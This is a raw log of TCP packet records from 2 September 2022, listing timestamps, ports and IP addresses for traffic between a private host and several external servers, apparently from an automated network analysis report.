Sep 2, 2022 14:02:30.230789900 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.231430054 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.279361963 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.308924913 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:30.308953047 CEST	443	49806	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:30.309067965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.309267044 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.309353113 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.309355974 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.309391022 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.309420109 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.309427023 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.309470892 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.309483051 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.309509993 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.309556007 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.310270071 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.312808037 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.312839031 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.312871933 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.312937021 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.312951088 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.312993050 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.313005924 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.313025951 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.313040972 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.313050032 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.313059092 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.313124895 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.313136101 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.313803911 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.313831091 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.313859940 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.313868999 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.313944101 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.313951969 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.313967943 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314097881 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314110994 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314126968 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314152956 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314183950 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314196110 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314220905 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314229012 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314266920 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314282894 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314306021 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314336061 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314344883 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314353943 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314376116 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314383984 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314409971 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314416885 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.314452887 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.314495087 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.350030899 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.350141048 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.356151104 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.356209993 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.356300116 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.356340885 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.356362104 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.356420040 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.380897045 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.380945921 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.381058931 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.381091118 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.381113052 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.381162882 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.393347979 CEST	443	49806	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:30.393424034 CEST	443	49806	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:30.393511057 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:30.393547058 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:30.403085947 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.403160095 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.403188944 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.403203964 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.403249025 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.403254032 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.417221069 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.417263985 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.417323112 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.417356968 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.417376995 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.417423010 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.434268951 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.434313059 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.434364080 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.434403896 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.434427023 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.434453011 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.435393095 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.435477018 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.447974920 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.448020935 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.448077917 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.448116064 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.448137045 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.448199987 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.456722021 CEST	49806	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:30.456764936 CEST	443	49806	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:30.458925009 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.458972931 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.459060907 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.459089994 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.459106922 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.459142923 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.463581085 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.463623047 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.463709116 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.466897011 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.466933966 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.467036009 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.467088938 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.467169046 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.467186928 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.467205048 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.467257023 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.470588923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.470756054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.471434116 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.471456051 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.471961021 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.472043037 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.473298073 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.473865986 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.473908901 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.473975897 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.473999023 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.474020004 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.474055052 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.474375010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.474422932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.474451065 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.474478006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.474509954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.475424051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.475472927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.475497961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.475528955 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.475558043 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.475632906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.475687981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.475701094 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.475747108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.475759983 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.476062059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.476115942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.476150990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.476171970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.476188898 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.476469994 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.476511955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.476553917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.476572037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.476593971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.481605053 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.481651068 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.481760025 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.481780052 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.481805086 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.481836081 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.487973928 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.488017082 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.488102913 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.488126993 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.488145113 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.488202095 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.493659019 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.493711948 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.493798971 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.493817091 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.493860006 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.493879080 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.500442028 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.500490904 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.500619888 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.500638008 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.500658035 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.500719070 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.505563974 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.505604029 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.505647898 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.505670071 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.505687952 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.505707979 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.505760908 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.510812998 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.510852098 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.510907888 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.510932922 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.510958910 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.510993004 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.515429020 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.516388893 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.516427040 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.516474009 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.516494036 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.516520023 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.516566992 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.519387007 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.519454002 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.521152973 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.521188974 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.521260023 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.521287918 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.521306992 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.521356106 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.525912046 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.526006937 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.526098967 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.526122093 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.526195049 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.529963017 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.530020952 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.530077934 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.530106068 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.530126095 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.530169010 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.533484936 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.533529997 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.533624887 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.533642054 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.533658028 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.533710003 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.538220882 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.538268089 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.538324118 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.538338900 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.538356066 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.538398981 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.541222095 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.541265965 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.541354895 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.541368961 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.541418076 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.544240952 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.544286013 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.544342041 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.544365883 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.544383049 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.544426918 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.548122883 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.548166990 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.548219919 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.548245907 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.548265934 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.548273087 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.548300982 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.551192999 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551256895 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551317930 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.551342964 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551368952 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.551461935 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.551585913 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551696062 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.551753998 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551775932 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551840067 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551845074 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.551882029 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551906109 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.551919937 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.551935911 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.552016020 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.554341078 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.554399967 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.554464102 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.554486036 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.554502964 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.554516077 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.554538965 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.557128906 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.557173014 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.557235003 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.557251930 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.557305098 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.557338953 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.559761047 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.559808969 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.559868097 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.559883118 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.559900045 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.559940100 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.562549114 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.562593937 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.562637091 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.562700987 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.562712908 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.562773943 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.565042019 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.565084934 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.565135956 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.565152884 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.565167904 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.565172911 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.565212965 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.567471027 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.567514896 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.567570925 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.567584991 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.567604065 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.567677975 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.569298029 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.569340944 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.569406986 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.569423914 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.569446087 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.569487095 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.572263956 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.572307110 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.572364092 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.572381020 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.572402000 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.572446108 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.574256897 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.574300051 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.574385881 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.574403048 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.574419975 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.574467897 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.576837063 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.576880932 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.576950073 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.576961994 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.576980114 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.577063084 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.578639030 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.578682899 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.578742981 CEST	49807	443	192.168.2.6	95.142.206.0
